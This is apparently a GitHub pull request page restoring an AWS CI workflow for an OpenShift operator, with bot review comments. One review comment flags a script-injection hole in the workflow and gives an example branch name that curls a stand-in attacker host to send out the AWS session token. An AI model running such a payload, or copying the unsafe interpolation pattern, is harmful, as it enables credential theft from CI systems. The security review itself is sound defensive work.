bring back aws-ci.yaml to avoid upstream sync conflicts#690
bring back aws-ci.yaml to avoid upstream sync conflicts#690jzding wants to merge 1 commit intoopenshift:mainfrom
Conversation
|
[APPROVALNOTIFIER] This PR is APPROVED This pull-request has been approved by: jzding The full list of commands accepted by this bot can be found here. The pull request process is described here DetailsNeeds approval from an approver in each of these files:
Approvers can indicate their approval by writing |
openshift-ci
bot
added
the
approved
|
Warning Rate limit exceeded
Your organization is not enrolled in usage-based pricing. Contact your admin to enable usage-based pricing to continue reviews beyond the rate limit, or try again in 9 minutes and 29 seconds. ⌛ How to resolve this issue?After the wait time has elapsed, a review can be triggered using the We recommend that you space out your commits to avoid hitting the rate limit. 🚦 How do rate limits work?CodeRabbit enforces hourly rate limits for each developer per organization. Our paid plans have higher rate limits than the trial, open-source and free plans. In all cases, we re-allow further reviews after a brief timeout. Please see our FAQ for further information. ℹ️ Review info⚙️ Run configurationConfiguration used: Organization UI Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (1)
WalkthroughThe change adds a new GitHub Actions workflow that validates PR labels, provisions AWS EC2 instances for testing, configures SSH access, executes test scripts, collects artifacts, and terminates instances. Changes
Estimated code review effort🎯 4 (Complex) | ⏱️ ~45 minutes ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
jzding
force-pushed
the
update-aws-ci-ocp
branch
from
63d8927 to
7169ccf
Compare
jzding
changed the title
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 1
🧹 Nitpick comments (1)
.github/workflows/aws-ci.yaml (1)
142-146: Consider guarding against empty instance_id.If the launch step fails before setting
instance_id, the terminate command will error. While this doesn't break the workflow, adding a guard would make logs cleaner.Optional improvement
- name: Cleanup - Delete EC2 instance - if: always() # Ensure cleanup runs even if previous steps fail + if: always() && env.instance_id != '' run: | echo "Cleaning up EC2 INSTANCE_ID=$instance_id" aws ec2 terminate-instances --instance-ids $instance_id🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/workflows/aws-ci.yaml around lines 142 - 146, The cleanup step "Cleanup - Delete EC2 instance" currently always runs aws ec2 terminate-instances using the variable instance_id; add a guard to skip termination when instance_id is empty or unset to avoid noisy errors — e.g., check that instance_id is non-empty before invoking aws ec2 terminate-instances (or make the job step conditional on the variable) so the terminate command only runs when a valid instance_id exists.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.github/workflows/aws-ci.yaml:
- Around line 60-73: The launch step currently injects untrusted
github.event.pull_request.head.ref (and other PR fields) directly into a shell
command, enabling command injection; instead, move all GitHub expressions (e.g.,
github.event.pull_request.head.ref, github.event.number, github.actor,
github.event.pull_request.head.repo.owner.login,
github.event.pull_request.head.repo.name, github.event.pull_request.head.ref)
into explicit step-level environment variables (e.g., PR_NUMBER, PR_ACTOR,
PR_REPO_OWNER, PR_REPO_NAME, PR_HEAD_REF) and then use those safe env vars in
the run script (referencing $PR_HEAD_REF) when constructing the aws CLI
--tag-specifications argument; ensure you always quote the shell variables to
avoid word-splitting and never use backticks or unquoted interpolation in the
launch step that creates INSTANCE_ID.
---
Nitpick comments:
In @.github/workflows/aws-ci.yaml:
- Around line 142-146: The cleanup step "Cleanup - Delete EC2 instance"
currently always runs aws ec2 terminate-instances using the variable
instance_id; add a guard to skip termination when instance_id is empty or unset
to avoid noisy errors — e.g., check that instance_id is non-empty before
invoking aws ec2 terminate-instances (or make the job step conditional on the
variable) so the terminate command only runs when a valid instance_id exists.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: 856445a7-4eb6-4d64-97a1-690587aea66c
📒 Files selected for processing (1)
.github/workflows/aws-ci.yaml
| - name: Launch EC2 instance | ||
| id: launch | ||
| run: | | ||
| INSTANCE_ID=$(aws ec2 run-instances \ | ||
| --image-id ami-03a09458c10ffa3e8 \ | ||
| --subnet-id subnet-04ee218fe8f32cad5 \ | ||
| --instance-type m6a.xlarge \ | ||
| --security-group-ids sg-05e700edc2ed0a2d5 \ | ||
| --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=ptp-operator PR-${{ github.event.number }}-${{ github.actor }}},{Key=ci-job-fullname,Value=PR-${{ github.event.number }}-${{ github.actor }}},{Key=ci-org-name,Value=${{ github.event.pull_request.head.repo.owner.login }}},{Key=ci-repo-name,Value=${{ github.event.pull_request.head.repo.name }}},{Key=ci-job-source,Value=k8ci},{Key=ci-job-branch,Value=${{ github.event.pull_request.head.ref }}},{Key=ci-job-type,Value=ptp-test}]' \ | ||
| --query 'Instances[0].InstanceId' \ | ||
| --key-name ptp-sshkey-1 \ | ||
| --output text) | ||
|
|
||
| echo "instance_id=$INSTANCE_ID" >> $GITHUB_ENV |
There was a problem hiding this comment.
Critical: Script injection vulnerability via untrusted PR head ref.
github.event.pull_request.head.ref is attacker-controlled—a malicious branch name like `test$(curl attacker.com?t=$AWS_SESSION_TOKEN)` could execute arbitrary commands and exfiltrate AWS credentials.
Pass untrusted values through environment variables instead of direct interpolation:
Proposed fix
- name: Launch EC2 instance
id: launch
+ env:
+ PR_NUMBER: ${{ github.event.number }}
+ PR_ACTOR: ${{ github.actor }}
+ PR_OWNER: ${{ github.event.pull_request.head.repo.owner.login }}
+ PR_REPO: ${{ github.event.pull_request.head.repo.name }}
+ PR_BRANCH: ${{ github.event.pull_request.head.ref }}
run: |
INSTANCE_ID=$(aws ec2 run-instances \
--image-id ami-03a09458c10ffa3e8 \
--subnet-id subnet-04ee218fe8f32cad5 \
--instance-type m6a.xlarge \
--security-group-ids sg-05e700edc2ed0a2d5 \
- --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=ptp-operator PR-${{ github.event.number }}-${{ github.actor }}},{Key=ci-job-fullname,Value=PR-${{ github.event.number }}-${{ github.actor }}},{Key=ci-org-name,Value=${{ github.event.pull_request.head.repo.owner.login }}},{Key=ci-repo-name,Value=${{ github.event.pull_request.head.repo.name }}},{Key=ci-job-source,Value=k8ci},{Key=ci-job-branch,Value=${{ github.event.pull_request.head.ref }}},{Key=ci-job-type,Value=ptp-test}]' \
+ --tag-specifications "ResourceType=instance,Tags=[{Key=Name,Value=ptp-operator PR-${PR_NUMBER}-${PR_ACTOR}},{Key=ci-job-fullname,Value=PR-${PR_NUMBER}-${PR_ACTOR}},{Key=ci-org-name,Value=${PR_OWNER}},{Key=ci-repo-name,Value=${PR_REPO}},{Key=ci-job-source,Value=k8ci},{Key=ci-job-branch,Value=${PR_BRANCH}},{Key=ci-job-type,Value=ptp-test}]" \
--query 'Instances[0].InstanceId' \
--key-name ptp-sshkey-1 \
--output text)
echo "instance_id=$INSTANCE_ID" >> $GITHUB_ENV📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - name: Launch EC2 instance | |
| id: launch | |
| run: | | |
| INSTANCE_ID=$(aws ec2 run-instances \ | |
| --image-id ami-03a09458c10ffa3e8 \ | |
| --subnet-id subnet-04ee218fe8f32cad5 \ | |
| --instance-type m6a.xlarge \ | |
| --security-group-ids sg-05e700edc2ed0a2d5 \ | |
| --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=ptp-operator PR-${{ github.event.number }}-${{ github.actor }}},{Key=ci-job-fullname,Value=PR-${{ github.event.number }}-${{ github.actor }}},{Key=ci-org-name,Value=${{ github.event.pull_request.head.repo.owner.login }}},{Key=ci-repo-name,Value=${{ github.event.pull_request.head.repo.name }}},{Key=ci-job-source,Value=k8ci},{Key=ci-job-branch,Value=${{ github.event.pull_request.head.ref }}},{Key=ci-job-type,Value=ptp-test}]' \ | |
| --query 'Instances[0].InstanceId' \ | |
| --key-name ptp-sshkey-1 \ | |
| --output text) | |
| echo "instance_id=$INSTANCE_ID" >> $GITHUB_ENV | |
| - name: Launch EC2 instance | |
| id: launch | |
| env: | |
| PR_NUMBER: ${{ github.event.number }} | |
| PR_ACTOR: ${{ github.actor }} | |
| PR_OWNER: ${{ github.event.pull_request.head.repo.owner.login }} | |
| PR_REPO: ${{ github.event.pull_request.head.repo.name }} | |
| PR_BRANCH: ${{ github.event.pull_request.head.ref }} | |
| run: | | |
| INSTANCE_ID=$(aws ec2 run-instances \ | |
| --image-id ami-03a09458c10ffa3e8 \ | |
| --subnet-id subnet-04ee218fe8f32cad5 \ | |
| --instance-type m6a.xlarge \ | |
| --security-group-ids sg-05e700edc2ed0a2d5 \ | |
| --tag-specifications "ResourceType=instance,Tags=[{Key=Name,Value=ptp-operator PR-${PR_NUMBER}-${PR_ACTOR}},{Key=ci-job-fullname,Value=PR-${PR_NUMBER}-${PR_ACTOR}},{Key=ci-org-name,Value=${PR_OWNER}},{Key=ci-repo-name,Value=${PR_REPO}},{Key=ci-job-source,Value=k8ci},{Key=ci-job-branch,Value=${PR_BRANCH}},{Key=ci-job-type,Value=ptp-test}]" \ | |
| --query 'Instances[0].InstanceId' \ | |
| --key-name ptp-sshkey-1 \ | |
| --output text) | |
| echo "instance_id=$INSTANCE_ID" >> $GITHUB_ENV |
🧰 Tools
🪛 actionlint (1.7.12)
[error] 62-62: "github.event.pull_request.head.ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details
(expression)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/aws-ci.yaml around lines 60 - 73, The launch step
currently injects untrusted github.event.pull_request.head.ref (and other PR
fields) directly into a shell command, enabling command injection; instead, move
all GitHub expressions (e.g., github.event.pull_request.head.ref,
github.event.number, github.actor,
github.event.pull_request.head.repo.owner.login,
github.event.pull_request.head.repo.name, github.event.pull_request.head.ref)
into explicit step-level environment variables (e.g., PR_NUMBER, PR_ACTOR,
PR_REPO_OWNER, PR_REPO_NAME, PR_HEAD_REF) and then use those safe env vars in
the run script (referencing $PR_HEAD_REF) when constructing the aws CLI
--tag-specifications argument; ensure you always quote the shell variables to
avoid word-splitting and never use backticks or unquoted interpolation in the
launch step that creates INSTANCE_ID.
Signed-off-by: Jack Ding <jackding@gmail.com>
jzding
force-pushed
the
update-aws-ci-ocp
branch
from
7169ccf to
4b08735
Compare
|
@jzding: all tests passed! Full PR test history. Your PR dashboard. DetailsInstructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository. I understand the commands that are listed here. |
1 participant
No description provided.